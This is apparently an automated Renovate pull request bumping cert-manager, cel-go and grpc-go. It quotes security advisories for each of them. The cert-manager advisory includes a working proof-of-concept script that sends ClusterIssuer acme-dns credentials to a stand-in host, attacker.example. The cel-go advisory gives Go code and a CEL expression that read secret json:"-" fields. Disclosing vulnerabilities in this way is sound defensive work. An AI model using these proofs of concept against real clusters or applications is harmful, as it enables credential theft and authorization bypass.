Skip to content

[18-stable] Update osv-vulnerability-alerts [SECURITY] (18-stable) - #1077

Open
ospk8s-renovate[bot] wants to merge 1 commit into
18-stablefrom
renovate/18-stable-osv-vulnerability-alerts
Open

ospk8s-renovate[bot] wants to merge 1 commit into
18-stablefrom
renovate/18-stable-osv-vulnerability-alerts

Conversation

@ospk8s-renovate

@ospk8s-renovate ospk8s-renovate Bot commented Oct 6, 2026 •

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
github.com/cert-manager/cert-manager v1.18.6 → v1.19.6 age confidence
github.com/google/cel-go v0.23.2 → v0.30.0 age confidence
google.golang.org/grpc v1.83.0 → v1.83.2 age confidence

cert-manager: Direct ACME Challenge resources can bypass Issuer DNS01 solver policy and use ClusterIssuer DNS credentials

BIT-cert-manager-2026-62290 / CVE-2026-62290 / GHSA-8rvj-mm4h-c258

More information

Details

Summary

Challenge resources under acme.cert-manager.io can be created directly by namespace users. On create, cert-manager performs no admission validation tying the Challenge to an Order, an owner reference, or an Issuer-selected solver. The ACME Challenge controller then reconciles the direct resource and uses Challenge.spec.solver as the DNS01 provider configuration.

When the direct Challenge references a ClusterIssuer, cert-manager derives the DNS provider secret namespace and ambient-credential policy from the ClusterIssuer reference, but the DNS provider configuration itself is attacker-controlled through Challenge.spec.solver. This lets a namespace user bypass Issuer/ClusterIssuer solver selectors such as dnsZones, dnsNames, and matchLabels, and make the cert-manager controller use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names.

In the acme-dns case, this becomes credential disclosure because the attacker-controlled solver host receives the X-Api-User and X-Api-Key headers loaded by cert-manager from the ClusterIssuer resource namespace.

Attack preconditions
  • The attacker can create challenges.acme.cert-manager.io resources in at least one namespace.
  • The cert-manager controller is running and reconciles ACME Challenge resources cluster-wide.
  • A usable ClusterIssuer exists in the cluster.
  • The referenced ClusterIssuer has a DNS01 solver that uses a Secret in the cluster resource namespace, or relies on ambient credentials enabled for ClusterIssuer.
  • The cluster is multi-tenant or otherwise separates namespace users from platform-owned Issuer/ClusterIssuer and DNS credential administration.
Severity

Rationale: a tenant with namespace-level ACME Challenge create permissions, including permissions granted by cert-manager's aggregate edit role, can cause a cluster-scoped controller to use DNS credentials or ambient cloud credentials outside the Issuer's intended solver policy. With acme-dns specifically, this can disclose the referenced acme-dns account credential to an attacker-controlled endpoint. With other DNS providers, the impact is credential use, Issuer policy bypass, and unauthorized DNS mutation risk unless a provider-specific credential disclosure path is separately demonstrated.

Why this is not just RBAC misconfiguration

cert-manager's documented end-user workflow does not require users to manually create Challenge resources. Challenges are internal ACME workflow objects generated from Orders after cert-manager has selected a solver from the referenced Issuer or ClusterIssuer. If default or aggregate roles grant namespace users permission to create these resources, the controller still should not treat a user-controlled Challenge.spec.solver as authoritative for a referenced ClusterIssuer.

The security boundary is the Issuer/ClusterIssuer solver policy and credential configuration. Direct Challenge creation bypasses that boundary because the controller derives credential namespace and ambient credential permission from issuerRef, while accepting the DNS provider configuration from the untrusted Challenge object.

Affected components
  • ACME Challenge admission validation
  • ACME Challenge controller
  • DNS01 solver selection and DNS provider construction
  • Default aggregate RBAC for challenges.acme.cert-manager.io
Affected versions tested

The issue was reproduced on:

  • master commit 2c0f1a6a4
  • latest production release v1.20.2 commit e5b7b1845
  • v1.19.5 commit cda7b7896
  • v1.18.6 commit 4699caabb

See VERSION_TEST_MATRIX.md for the command matrix and outputs.

Technical details

Relevant code paths:

  • internal/apis/acme/validation/challenge.go:44-45: ValidateChallenge returns no errors on create.
  • deploy/crds/acme.cert-manager.io_challenges.yaml: spec.solver is a required user-controlled field on Challenge.
  • pkg/controller/acmechallenges/scheduler/scheduler.go:51-58: scheduler lists all Challenges.
  • pkg/controller/acmechallenges/controller.go:180-197: scheduler sets status.processing=true.
  • pkg/controller/acmechallenges/sync.go:139-183: controller loads the referenced Issuer and then presents the Challenge.
  • pkg/issuer/acme/dns/dns.go:81: DNS solver Present ignores the issuer object argument.
  • pkg/issuer/acme/dns/dns.go:180-187: DNS provider config and resource namespace are derived from Challenge.spec.
  • pkg/controller/helper.go:39-44: ClusterIssuer references use the cluster resource namespace.
  • pkg/controller/helper.go:66-72: ambient credentials are allowed based on issuerRef.kind.
  • internal/apis/config/controller/v1alpha1/defaults.go:68-69: ClusterIssuer ambient credentials default to enabled.
  • deploy/charts/cert-manager/templates/rbac.yaml:517-519: the aggregate edit role can create/update challenges and orders.

The normal Order flow selects a solver from the Issuer:

  • pkg/util/solverpicker/solverpicker.go: solver selectors are evaluated.
  • pkg/controller/acmeorders/util.go:94-106: solvers are fetched from the Issuer and selected.
  • pkg/controller/acmeorders/util.go:131-142: the selected solver is copied into the generated Challenge.

The direct Challenge flow skips that selection entirely because the direct object already contains a solver.

Proof of concept
PoC A: low-privileged namespace user can persist a direct ClusterIssuer Challenge

The following script starts k3s in Docker, installs only the relevant CRDs, creates a platform-owned ClusterIssuer, creates a namespace user with Challenge create permission but no secret or ClusterIssuer read permission, and creates a direct DNS01 Challenge referencing that ClusterIssuer and a cluster resource namespace secret.

The ClusterIssuer is configured to use a legitimate acme-dns host for victim.example.com. The direct Challenge uses that same DNS name, but replaces the acme-dns host with an attacker-controlled endpoint. This demonstrates credential disclosure without relying on an out-of-policy DNS name.

A broader DNS policy-bypass variant is also possible when the referenced credential or ambient provider can operate on the attacker-selected DNS name. In that case, the same direct Challenge path bypasses the Issuer/ClusterIssuer solver selectors and provider configuration.

Run from the cert-manager repository root:

set -euo pipefail

name=cm-direct-challenge-poc
docker rm -f "$name" >/dev/null 2>&1 || true
docker run -d --name "$name" --privileged -v "$PWD":/repo rancher/k3s:v1.33.4-k3s1 \
  server --disable=traefik --disable=servicelb --write-kubeconfig-mode=644 >/dev/null

cleanup() {
  docker rm -f "$name" >/dev/null 2>&1 || true
}
trap cleanup EXIT

for i in $(seq 1 90); do
  docker exec "$name" kubectl get --raw=/readyz >/dev/null 2>&1 && break
  sleep 2
done

docker exec "$name" kubectl apply -f /repo/deploy/crds/cert-manager.io_clusterissuers.yaml >/dev/null
docker exec "$name" kubectl apply -f /repo/deploy/crds/acme.cert-manager.io_challenges.yaml >/dev/null
docker exec "$name" kubectl create ns tenant >/dev/null
docker exec "$name" kubectl create ns cert-manager >/dev/null
docker exec "$name" kubectl -n tenant create sa bob >/dev/null

docker exec "$name" kubectl -n cert-manager create secret generic cluster-acmedns-account \
  --from-literal=accounts.json='{"victim.example.com":{"username":"victim-user","password":"victim-pass","fulldomain":"x.example.org","subdomain":"x"}}' >/dev/null

docker exec -i "$name" kubectl apply -f - >/dev/null <<'YAML'
apiVersion: cert-manager.io/v1
kind: ClusterIssuer
metadata:
  name: cluster-prod
spec:
  acme:
    email: admin@example.com
    server: https://acme-staging-v02.api.letsencrypt.org/directory
    privateKeySecretRef:
      name: cluster-prod-account-key
    solvers:
    - selector:
        dnsZones:
        - victim.example.com
      dns01:
        acmeDNS:
          host: https://legit-acmedns.example
          accountSecretRef:
            name: cluster-acmedns-account
            key: accounts.json
YAML

docker exec -i "$name" kubectl apply -f - >/dev/null <<'YAML'
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: challenge-create-only
  namespace: tenant
rules:
- apiGroups: ["acme.cert-manager.io"]
  resources: ["challenges"]
  verbs: ["create", "get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: bob-challenge-create-only
  namespace: tenant
subjects:
- kind: ServiceAccount
  name: bob
  namespace: tenant
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: challenge-create-only
YAML

echo "bob create challenges: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob create challenges.acme.cert-manager.io -n tenant)"
echo "bob get cert-manager secret: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob get secret/cluster-acmedns-account -n cert-manager)"
echo "bob get clusterissuer: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob get clusterissuer/cluster-prod 2>/dev/null)"
echo "ClusterIssuer solver policy: $(docker exec "$name" kubectl get clusterissuer cluster-prod -o jsonpath='{.spec.acme.solvers[0].selector.dnsZones[0]}{" "}{.spec.acme.solvers[0].dns01.acmeDNS.host}')"

docker exec -i "$name" kubectl --as=system:serviceaccount:tenant:bob -n tenant apply -f - <<'YAML'
apiVersion: acme.cert-manager.io/v1
kind: Challenge
metadata:
  name: direct-dns01
spec:
  authorizationURL: https://attacker.example/acme/authz/1
  dnsName: victim.example.com
  issuerRef:
    group: cert-manager.io
    kind: ClusterIssuer
    name: cluster-prod
  key: attacker-key
  token: attacker-token
  type: DNS-01
  url: https://attacker.example/acme/chal/1
  solver:
    dns01:
      acmeDNS:
        host: https://attacker.example/acmedns
        accountSecretRef:
          name: cluster-acmedns-account
          key: accounts.json
YAML

docker exec "$name" kubectl -n tenant get challenge direct-dns01 \
  -o jsonpath='{.spec.issuerRef.kind}{" "}{.spec.dnsName}{" "}{.spec.solver.dns01.acmeDNS.host}{" "}{.spec.solver.dns01.acmeDNS.accountSecretRef.name}{"\n"}'

Expected output:

bob create challenges: yes
bob get cert-manager secret: no
bob get clusterissuer: no
ClusterIssuer solver policy: victim.example.com https://legit-acmedns.example
challenge.acme.cert-manager.io/direct-dns01 created
ClusterIssuer victim.example.com https://attacker.example/acmedns cluster-acmedns-account

This proves that the API accepts the direct object from a user who cannot read the target secret or ClusterIssuer.

PoC B: acme-dns provider sends referenced credentials to the configured host

This self-contained unit PoC demonstrates the concrete acme-dns impact: the acme-dns provider uses the configured host and sends credentials from account JSON as HTTP headers.

Run from repository root:

set -euo pipefail

cat > pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go <<'EOF'
package acmedns

import (
        "context"
        "net/http"
        "net/http/httptest"
        "testing"
)

func TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost(t *testing.T) {
        var gotUser, gotKey, gotPath string

        ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
                gotPath = r.URL.Path
                gotUser = r.Header.Get("X-Api-User")
                gotKey = r.Header.Get("X-Api-Key")
                w.Header().Set("Content-Type", "application/json")
                w.WriteHeader(http.StatusOK)
                w.Write([]byte(`{"txt":"ok"}`))
        }))
        defer ts.Close()

        accountJSON := []byte(`{
                "victim.example.com": {
                        "username": "victim-user",
                        "password": "victim-pass",
                        "fulldomain": "x.example.org",
                        "subdomain": "x"
                }
        }`)

        provider, err := NewDNSProviderHostBytes(ts.URL, accountJSON, nil)
        if err != nil {
                t.Fatal(err)
        }

        if err := provider.Present(context.Background(), "victim.example.com", "", "txt-value"); err != nil {
                t.Fatal(err)
        }

        if gotPath != "/update" {
                t.Fatalf("path = %q, want /update", gotPath)
        }
        if gotUser != "victim-user" {
                t.Fatalf("X-Api-User = %q, want victim-user", gotUser)
        }
        if gotKey != "victim-pass" {
                t.Fatalf("X-Api-Key = %q, want victim-pass", gotKey)
        }
}
EOF

docker run --rm \
  -v "$PWD":/repo \
  -v /tmp/cert-manager-gomod-cache:/go/pkg/mod \
  -v /tmp/cert-manager-gobuild-cache:/root/.cache/go-build \
  -w /repo golang:1.26-bookworm \
  go test ./pkg/issuer/acme/dns/acmedns \
  -run TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost \
  -count=1 -v

rm pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go

Expected output:

=== RUN   TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost
--- PASS: TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost

Combined with PoC A and the code path in pkg/issuer/acme/dns/dns.go, this shows that a direct Challenge can select an attacker-controlled acme-dns host while causing cert-manager to load account JSON from the ClusterIssuer resource namespace.

Credential impact scope

The concrete credential-disclosure proof in this report is for the acme-dns provider: the attacker-controlled host receives the X-Api-User and X-Api-Key values loaded from the referenced account JSON.

For other DNS01 providers, this report should be read as credential use, policy bypass, and DNS mutation risk. The controller may use platform-owned secrets or ambient cloud credentials to perform DNS operations selected by the attacker-controlled Challenge. Provider-specific credential disclosure should not be assumed without a separate provider-level PoC.

Expected behavior

Users should not be able to create standalone Challenge resources that cause cert-manager to use arbitrary solver configuration under the authority of a referenced Issuer or ClusterIssuer. If direct Challenge resources are intentionally exposed, the controller should only reconcile Challenges that are owned by cert-manager-created Orders and whose solver config was selected from the referenced Issuer.

Actual behavior

A user with namespace-level Challenge create permission can create a direct Challenge with arbitrary solver configuration. The controller reconciles it, derives credential namespace and ambient credential permission from issuerRef, and uses attacker-controlled provider settings.

Suggested remediation

Possible mitigations:

  • Reject or ignore standalone user-created Challenge resources unless the controller or admission layer can confirm an existing cert-manager-created Order that owns the Challenge.
  • Do not rely only on the presence of an owner reference. Verify the referenced Order exists, is controlled by cert-manager's Order flow, and matches the Challenge by UID, owner reference, labels, DNS name, authorization URL, challenge URL, token/key material, and issuer reference.
  • Ensure the solver used by the Challenge was selected from the referenced Issuer/ClusterIssuer by the Order controller. The Challenge controller should not accept manually supplied solver provider configuration outside the Order-controller path.
  • Move Challenge and Order creation permissions out of aggregate edit unless direct use is a supported security boundary.
  • Add admission validation or CEL rules preventing direct user control over sensitive solver provider fields on standalone or unverifiable Challenges.

Severity

  • CVSS Score: 7.3 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


cel-go: JSON Private Fields Exposed via NativeTypes and ParseStructTag

GHSA-gcjh-h69q-9w9g / GO-2026-6094

More information

Details

The function ext.NativeTypes(ParseStructTag("json")) does not honour the encoding/json skip directive json:"-". Fields tagged json:"-" are registered in the CEL type system under the literal name "-" and are readable from any user-submitted CEL expression via dyn(obj)["-"].

Additionally, newNativeTypes silently registers every nested struct reachable from the type passed to NativeTypes, including types from third-party dependencies the developer never examined.

Root cause

In fieldNameByTag, the helper used by ParseStructTag("json") to translate Go struct tags into CEL field names.

See at ext/native.go:146:

func fieldNameByTag(structTagToParse string) func(field reflect.StructField) string {
    return func(field reflect.StructField) string {
        tag, found := field.Tag.Lookup(structTagToParse)
        if found {
            splits := strings.Split(tag, ",")
            if len(splits) > 0 {
                // We make the assumption that the leftmost entry in the tag is the name.
                // This seems to be true for most tags that have the concept of a name/key, such as:
                // https://pkg.go.dev/encoding/xml#Marshal
                // https://pkg.go.dev/encoding/json#Marshal
                // https://pkg.go.dev/go.mongodb.org/mongo-driver/bson#hdr-Structs
                // https://pkg.go.dev/go.yaml.in/yaml/v3#Marshal
                name := splits[0]
                return name
            }
        }

        return field.Name
    }
}

For a field tagged json:"-", this code splits the tag into []string{"-"} and returns "-" as the CEL field name. It never checks whether "-" is the JSON skip sentinel.

This contradicts the encoding/json rule that the source comment explicitly points readers to:

As a special case, if the field tag is "-", the field is always omitted. Note
that a field with name "-" can still be generated using the tag "-,".

The public option also documents JSON-style parsing as the intended behavior.
See at ext/native.go:190:

// ParseStructTag configures the struct tag to parse. The 0th item in the tag is used as the name of the CEL field.
// For example:
// If the tag to parse is "cel" and the struct field has tag cel:"foo", the CEL struct field will be "foo".
// If the tag to parse is "json" and the struct field has tag json:"foo,omitempty", the CEL struct field will be "foo".
func ParseStructTag(tag string) NativeTypesOption {
    return func(ntp *nativeTypeOptions) error {
        ntp.fieldNameHandler = fieldNameByTag(tag)
        return nil
    }
}

A developer using ParseStructTag("json") is therefore led to expect encoding/json field-name semantics. Instead, json:"-" is treated as a real field name.

The bad name is accepted during native type construction. newNativeType checks for duplicate field names, but it does not reject or skip empty names or skip sentinels.

See at ext/native.go:663:

if fieldNameHandler != nil {
    fieldNames := make(map[string]struct{})

    for idx := 0; idx < refType.NumField(); idx++ {
        field := refType.Field(idx)
        fieldName := toFieldName(fieldNameHandler, field)

        if _, found := fieldNames[fieldName]; found {
            return nil, fmt.Errorf("invalid field name `%s` in struct `%s`: %w", fieldName, refType.Name(), errDuplicatedFieldName)
        } else {
            fieldNames[fieldName] = struct{}{}
        }
    }
}

Once accepted, the field becomes part of CEL's view of the type. Field enumeration reports it as a normal field name.

See at ext/native.go:286:

func (tp *nativeTypeProvider) FindStructFieldNames(typeName string) ([]string, bool) {
    if t, found := tp.nativeTypes[typeName]; found {
        fieldCount := t.refType.NumField()
        fields := make([]string, fieldCount)
        for i := 0; i < fieldCount; i++ {
            fields[i] = toFieldName(tp.options.fieldNameHandler, t.refType.Field(i))
        }
        return fields, true
    }
    if celTypeFields, found := tp.baseProvider.FindStructFieldNames(typeName); found {
        return celTypeFields, true
    }
    return tp.baseProvider.FindStructFieldNames(typeName)
}

Field lookup also treats the name as valid and returns the underlying Go field value.

See at ext/native.go:303:

func (tp *nativeTypeProvider) FindStructFieldType(typeName, fieldName string) (*types.FieldType, bool) {
    t, found := tp.nativeTypes[typeName]
    if !found {
        return tp.baseProvider.FindStructFieldType(typeName, fieldName)
    }
    refField, isDefined := t.hasField(fieldName)
    if !found || !isDefined {
        return nil, false
    }

    return &types.FieldType{
        IsSet: func(obj any) bool {
            refVal := reflect.Indirect(reflect.ValueOf(obj))
            refField := refVal.FieldByName(refField.Name)
            return !refField.IsZero()
        },
        GetFrom: func(obj any) (any, error) {
            refVal := reflect.Indirect(reflect.ValueOf(obj))
            refField := refVal.FieldByName(refField.Name)
            return getFieldValue(refField), nil
        },
    }, true
}

At runtime, native objects advertise index access.
See at ext/native.go:37:

var (
    nativeObjTraitMask = traits.FieldTesterType | traits.IndexerType
)

Because traits.IndexerType is present, a user expression can bypass ordinary field syntax and read the registered "-" field with bracket access:

dyn(req.auth)["-"]

The same mistaken name is also used when converting native objects to JSON-like CEL values. ConvertToNative(jsonStructType) iterates all Go struct fields, computes the CEL field name, and inserts it into the output map without applying the JSON skip rule.

See at ext/native.go:501:

case jsonStructType:
    refVal := reflect.Indirect(o.refValue)
    refType := refVal.Type()
    fields := make(map[string]*structpb.Value, refVal.NumField())
    for i := 0; i < refVal.NumField(); i++ {
        fieldType := refType.Field(i)
        fieldValue := refVal.Field(i)
        if !fieldValue.IsValid() || fieldValue.IsZero() {
            continue
        }
        fieldName := toFieldName(o.valType.fieldNameHandler, fieldType)
        fieldCELVal := o.NativeToValue(fieldValue.Interface())
        fieldJSONVal, err := fieldCELVal.ConvertToNative(jsonValueType)
        if err != nil {
            return nil, err
        }
        fields[fieldName] = fieldJSONVal.(*structpb.Value)
    }
    return &structpb.Struct{Fields: fields}, nil

This means a json:"-" secret is exposed in two ways: it can be read directly through CEL indexing as dyn(obj)["-"], and it can appear under the key "-" in JSON struct conversion output.

The blast radius is widened by newNativeTypes, which registers not only the type explicitly passed to NativeTypes, but also every nested struct reachable from its fields.

See at ext/native.go:609:

func newNativeTypes(fieldNameHandler NativeTypesFieldNameHandler, rawType reflect.Type) ([]*nativeType, error) {
    nt, err := newNativeType(fieldNameHandler, rawType)
    if err != nil {
        return nil, err
    }
    result := []*nativeType{nt}

    var iterateStructMembers func(reflect.Type)
    iterateStructMembers = func(t reflect.Type) {
        if k := t.Kind(); k == reflect.Pointer || k == reflect.Slice || k == reflect.Array || k == reflect.Map {
            iterateStructMembers(t.Elem())
            return
        }
        if t.Kind() != reflect.Struct {
            return
        }

        nt, ntErr := newNativeType(fieldNameHandler, t)
        if ntErr != nil {
            err = ntErr
            return
        }
        result = append(result, nt)

        for idx := 0; idx < t.NumField(); idx++ {
            iterateStructMembers(t.Field(idx).Type)
        }
    }
    iterateStructMembers(rawType)

    return result, err
}

As a result, a developer can register one apparently safe request type while a nested dependency type is silently registered too. If that nested type contains a json:"-" secret, CEL still receives a readable field named "-" even though the developer never registered or audited that nested type directly.

Reproduction
package main

import (
    "fmt"
    "reflect"

    "github.com/google/cel-go/cel"
    "github.com/google/cel-go/ext"
)

// Simulates a library type; developer never registers this directly.
type AuthCtx struct {
    UserID string `json:"userId"`
    Secret string `json:"-"` // server-internal; never appears in JSON output
}

// Developer registers only this type.
type Req struct{ Auth AuthCtx `json:"auth"` }

func main() {
    env, _ := cel.NewEnv(
        // Only Req is passed; AuthCtx is registered silently by newNativeTypes.
        ext.NativeTypes(reflect.TypeOf(Req{}), ext.ParseStructTag("json")),
        cel.Variable("req", cel.ObjectType("main.Req")),
    )
    ast, _ := env.Compile(`dyn(req.auth)["-"]`)
    prg, _ := env.Program(ast)
    out, _, _ := prg.Eval(map[string]any{
        "req": Req{Auth: AuthCtx{UserID: "alice", Secret: "sk-live-s3cr3t"}},
    })
    fmt.Println(out) // sk-live-s3cr3t
}

Expected: expression compile error or empty result; json:"-" field should not be
accessible.
Actual: sk-live-s3cr3t; the server-injected secret is returned verbatim.

The same field is also included under key "-" in ConvertToNative(jsonStructType)
output, and appears in FindStructFieldNames enumeration.

path 1. CEL indexing

Tested against the released module github.com/google/cel-go v0.28.1
(latest stable release as of 2026-05-12), using the go.mod entry:

require github.com/google/cel-go v0.28.1

Running the PoC above (go run main.go) produces:

sk-live-s3cr3t

The secret value is returned verbatim, with no error at compile time or at runtime.

Path 2. ConvertToNative(jsonStructType)

When the nativeObj for the AuthCtx value is converted to a Protobuf Struct
(the representation used whenever CEL output is serialised to JSON), the
json:"-" field appears in the output map under the key "-".

package main

import (
    "encoding/json"
    "fmt"
    "reflect"

    "github.com/google/cel-go/cel"
    "github.com/google/cel-go/ext"

    structpb "google.golang.org/protobuf/types/known/structpb"
)

type AuthCtxConv struct {
    UserID string `json:"userId"`
    Secret string `json:"-"` // should never appear in JSON output
}

type ReqConv struct{ Auth AuthCtxConv `json:"auth"` }

func main() {
    env, _ := cel.NewEnv(
        ext.NativeTypes(reflect.TypeOf(ReqConv{}), ext.ParseStructTag("json")),
        cel.Variable("req", cel.ObjectType("main.ReqConv")),
    )

    ast, _ := env.Compile(`req.auth`)
    prg, _ := env.Program(ast)
    out, _, _ := prg.Eval(map[string]any{
        "req": ReqConv{Auth: AuthCtxConv{UserID: "alice", Secret: "sk-live-s3cr3t"}},
    })

    jsonStructType := reflect.TypeOf(&structpb.Struct{})
    raw, _ := out.ConvertToNative(jsonStructType)

    st := raw.(*structpb.Struct)
    b, _ := json.MarshalIndent(st.AsMap(), "", "  ")
    fmt.Printf("ConvertToNative(jsonStructType) output:\n%s\n", b)
    fmt.Printf("\nDirect field access via \"-\" key present: %v\n", st.Fields["-"] != nil)
    if v, ok := st.Fields["-"]; ok {
        fmt.Printf("Value: %s\n", v.GetStringValue())
    }
}

Running the PoC above produces:

ConvertToNative(jsonStructType) output:
{
  "-": "sk-live-s3cr3t",
  "userId": "alice"
}

Direct field access via "-" key present: true
Value: sk-live-s3cr3t

The "-" key is present in the serialised Protobuf struct alongside userId.
Any system that converts a CEL evaluation result to JSON (e.g. via structpb.Struct) will include the secret in the output, regardless of whether the dyn()["-"] indexing path is used.

Impact

Any user who can submit CEL expressions to an application that uses ext.NativeTypes(ParseStructTag("json")) can read struct fields that the developer explicitly marked json:"-" to keep out of serialised output. By writing dyn(obj)["-"], the attacker retrieves the raw Go field value, typically a secret, internal token, or private identifier, with no compile-time or runtime error. Because newNativeTypes silently registers every nested struct reachable from the root type, the attacker may also reach secrets in dependency types the developer never intended to expose to CEL.

Remediation

Do not treat json:"-" as a CEL field named "-". Model it as an explicit skipped field, not as an empty string field name.

Update the struct-tag parsing path so exact json:"-" returns “skip this field”, while json:"-," continues to mean the literal field name "-", matching encoding/json semantics.

Apply that skip decision consistently anywhere native fields are exposed or resolved:

  • duplicate-name validation in newNativeType
  • field enumeration in FindStructFieldNames
  • field type lookup in FindStructFieldType
  • runtime lookup in fieldByName / hasField
  • object construction in NewValue
  • JSON conversion in ConvertToNative(jsonStructType)

Apply the same omit handling for xml:"-", yaml:"-", and bson:"-" where ParseStructTag is used.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


JSON private fields exposed via NativeTypes and ParseStructTag in github.com/google/cel-go

GHSA-gcjh-h69q-9w9g / GO-2026-6094

More information

Details

JSON private fields exposed via NativeTypes and ParseStructTag in github.com/google/cel-go

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).


gRPC-Go: xDS RBAC HTTP Filter bypass via mixed-case Header Matching and gRFC A41 validation evasion

CVE-2026-84303 / GHSA-qc2q-p7wx-3px3 / GO-2026-6441

More information

Details

Summary

A vulnerability in the xDS RBAC HTTP filter implementation in grpc-go allows remote attackers to bypass authorization policies (specifically DENY rules) by using mixed-case or canonical-case header matchers (e.g., X-Role instead of x-role). Additionally, the safety guards introduced by gRFC A41 to block grpc- prefixed headers can be evaded via variations in casing (e.g., Grpc-Status).

Impact

When an operator defines an RBAC policy referencing headers containing uppercase letters (e.g. X-Role), grpc-go fails to match incoming metadata keys because they are unconditionally lowercased. Because of this case-sensitivity mismatch, a policy designed to block requests containing specific header values fails open: the rule is evaluated as a non-match, and traffic that should have been rejected is served.

Furthermore, gRFC A41 requires rejecting configuration schemas specifying header matchers starting with grpc-. Because this check is executed case-sensitively in grpc-go, attackers can bypass the validation by specifying titles like Grpc-Status.

Patches

The problem is fixed in master and in the 1.83.1 release.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


gRPC-Go: Heap Memory Exhaustion (OOM) via HTTP/2 DATA Frame Fragmentation

CVE-2026-84304 / GHSA-vp52-pcj8-j9qc / GO-2026-6348

More information

Details

Impact

An unauthenticated remote attacker can initiate a gRPC stream and purposefully fragment their payload into millions of tiny (e.g., 1-byte) HTTP/2 DATA frames. Even if the total payload volume falls within the configured connection and stream flow-control windows, each independent fragment incurs memory overhead due to internal tracking structures and queue allocation.

Repeated fragmentation massively inflates the heap space consumed by the stream. An attacker multiplexing multiple concurrent streams can exhaust the memory bounds of the runtime, forcing a runtime panic or OutOfMemory condition and leading to a remote Denial of Service (DoS).

Patches

The change to fix this issue is merged in master and a patch release, 1.83.1, has been published that contains this fix.

Workarounds

This vulnerability is mitigated by implementing receive buffer compaction. Consecutive small data buffers are automatically coalesced into larger buffers from a shared pool once the overhead is perceived to be excessive relative to actual payload data, drastically minimizing per-frame memory overheads.

This behavior is enabled by default. A temporary escape hatch is provided via the environment variable GRPC_GO_EXPERIMENTAL_ENABLE_RECEIVE_BUFFER_COMPACTION=false to disable the feature if unforeseen issues arise, but it will be removed in a future release.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Heap Memory Exhaustion (OOM) via HTTP/2 DATA Frame Fragmentation in google.golang.org/grpc

CVE-2026-84304 / GHSA-vp52-pcj8-j9qc / GO-2026-6348

More information

Details

Heap Memory Exhaustion (OOM) via HTTP/2 DATA Frame Fragmentation in google.golang.org/grpc

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).


Bypass of xDS RBAC HTTP filter header matching in google.golang.org/grpc

CVE-2026-84303 / GHSA-qc2q-p7wx-3px3 / GO-2026-6441

More information

Details

In google.golang.org/grpc, the xDS RBAC HTTP filter does not lowercase header matcher names before evaluating them against incoming request metadata. When an RBAC policy defines rules (such as DENY) referencing headers with uppercase or mixed-case characters, the rule fails to match, causing authorization policies to fail open. Additionally, callers can evade gRFC A41 validation blocking "grpc-" prefixed headers and ":scheme" via variations in casing.

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).


gRPC-Go xDS servers: Denial of Service (DoS) via crash due to missing :authority and Host headers

CVE-2026-84445 / GHSA-2v4p-qf9q-27wj / GO-2026-6443

More information

Details

A vulnerability exists in gRPC-Go servers configured with xds.NewGRPCServer() where a crafted request missing both :authority and Host headers can cause a server panic, resulting in a Denial of Service (DoS).

Servers built with xds.NewGRPCServer install an xDS routing interceptor on every RPC. This interceptor looks up the request’s :authority header to pick a virtual host. The HTTP/2 server transport previously accepted requests that had neither :authority nor Host. When this happened, the xDS routing interceptor attempted to access the first element of an empty slice of authorities, leading to an index out of bounds panic. Since the per-RPC goroutine does not recover from panics, the entire server process would terminate.

This panic occurs in the interceptor pipeline, meaning the transport credentials handshake (TLS, mTLS, or ALTS) and HTTP/2 connection establishment must complete successfully before the crafted request can reach this logic.

  • Insecure/Standard TLS: If the server permits insecure (plaintext) connections or standard credentials (where client certs are not checked), any unauthenticated remote attacker can trigger the crash.
  • mTLS / ALTS: If strict transport-level authentication is enforced at the network edge or transport layer (e.g., requiring a valid client certificate), the attacker must possess valid transport credentials to initiate the stream and trigger the panic.
Impact

An attacker can cause a complete outage of the gRPC server by sending a request missing both :authority and Host headers, provided they can successfully establish a transport connection.

Patches

The issue has been addressed in master (and backported to 1.84.0, 1.83.2 and 1.82.2). The fix updates the HTTP/2 transport layer to reject requests missing both :authority and Host headers early, maintaining consistency with and other gRPC language implementations.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

